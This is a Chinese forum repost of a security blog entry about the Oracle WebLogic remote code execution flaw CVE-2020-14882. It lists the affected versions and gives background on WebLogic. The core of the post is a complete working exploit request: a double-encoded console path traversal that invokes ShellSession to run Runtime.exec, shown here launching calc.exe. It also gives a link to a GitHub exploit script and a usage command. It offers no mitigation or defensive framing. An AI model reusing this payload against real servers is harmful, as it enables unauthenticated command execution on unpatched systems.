搜索

[718] 2020-11-04_CVE-2020-14882weblogic利用（exp&&poc）

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-16
2020-11-04_CVE-2020-14882weblogic利用（exp&&poc） C V E - 2 0 2 0 - 1 4 8 8 2   w e b l o g i c   利 用 （ e x p & & p o c ） 原 创   黑 子 黑   b g b i n g 安 全   2 0 2 0 - 1 1 - 0 4 w e b l o g i c 利 用 的 p o c 如 下 ： G E T   / c o n s o l e / i m a g e s / % 2 5 2 E % 2 5 2 E % 2 5 2 F c o n s o l e . p o r t a l ? _ n f p b = t r u e & _ p a g e L a b e l = H o m e P a g e 1 & h a n d l e = c o m . t a n g o s o l . c o h e r e n c e . m v e l 2 . s h . S h e l l S e s s i o n ( % 2 2 j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( % 2 7 c a l c . e x e % 2 7 ) ; % 2 2 ) H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 5 6 . 1 : 7 0 0 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 2 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 2 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e C o o k i e :   A D M I N C O N S O L E S E S S I O N = o z 9 z j - p Q 0 R S 3 h _ Z 2 Z Z - H P U v S 8 f 4 B a l _ y k F A 3 p c g _ v J L B g w B P 2 b P 1 ! 2 1 4 5 6 9 7 3 8 8 ;   w p - s e t t i n g s - t i m e - 1 = 1 6 0 1 9 5 9 7 9 2 ;   J S E S S I O N I D = i e d z d 4 - y 3 4 X m g c 9 W s 4 J P 8 N i W d b U D m r t 3 B b D S Y 9 M K X 1 h O m V a P 6 J Y C ! 2 1 4 5 6 9 7 3 8 8 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 利 用 脚 本 在 g i t h u b 上 ： h t t p s : / / g i t h u b . c o m / b g b i n g / v u l n d o g （ 想 要 s t a r ） 需 要 先 安 装 好 p y t h o n 3 ， 开 始 运 行 脚 本
影 响 版 本 ： O r a c l e   W e b l o g i c   S e r v e r   1 0 . 3 . 6 . 0 . 0 O r a c l e   W e b l o g i c   S e r v e r   1 2 . 1 . 3 . 0 . 0 O r a c l e   W e b l o g i c   S e r v e r   1 2 . 2 . 1 . 3 . 0 O r a c l e   W e b l o g i c   S e r v e r   1 2 . 2 . 1 . 4 . 0 O r a c l e   W e b l o g i c   S e r v e r   1 4 . 1 . 1 . 0 . 0 使 用 方 法 ：   p y t h o n 3     w e b l o g i c - 1 2 . 2 . 1 . 4 _ r c e     h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 1 4 : 7 0 0 1 前 提 是 已 经 安 装 好 漏 洞 环 境 。 一 直 在 弹 出 计 算 器 ！ w e b l o g i c W e b L o g i c 是 美 国 O r a c l e 公 司 出 品 的 一 个 a p p l i c a t i o n   s e r v e r ， 确 切 的 说 是 一 个 基 于 J A V A E E 架 构 的 中 间 件 ， W e b L o g i c 是 用 于 开 发 、 集 成 、 部 署 和 管 理 大 型 分 布 式 W e b 应 用 、 网 络 应 用 和 数 据 库 应 用 的 J a v a 应 用 服 务 器 。 将 J a v a 的 动 态 功 能 和 J a v a   E n t e r p r i s e 标 准 的 安 全 性 引 入 大 型 网 络 应 用 的 开 发 、 集 成 、 部 署 和 管 理 之 中 。 W e b L o g i c 是 美 商 O r a c l e 的 主 要 产 品 之 一 ， 是 并 购 B E A 得 来 。 是 商 业 市 场 上 主 要 的 J a v a （ J 2 E E ） 应 用 服 务 器 软 件 （ a p p l i c a t i o n   s e r v e r ） 之 一 ， 是 世 界 上 第 一 个 成 功 商 业 化 的 J 2 E E 应 用 服 务 器 ,   已 推 出 到 1 2 c ( 1 2 . 2 . 1 . 4 )   版 。 而 此 产 品 也 延 伸 出 W e b L o g i c   P o r t a l ， W e b L o g i c   I n t e g r a t i o n 等 企 业 用 的 中 间 件 （ 但 当 下 O r a c l e 主 要 以 F u s i o n   M i d d l e w a r e 融 合 中 间 件 来 取 代 这 些 W e b L o g i c   S e r v e r 之 外 的 企 业 包 ） ， 以 及 O E P E ( O r a c l e   E n t e r p r i s e   P a c k   f o r   E c l i p s e ) 开 发 工 具 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理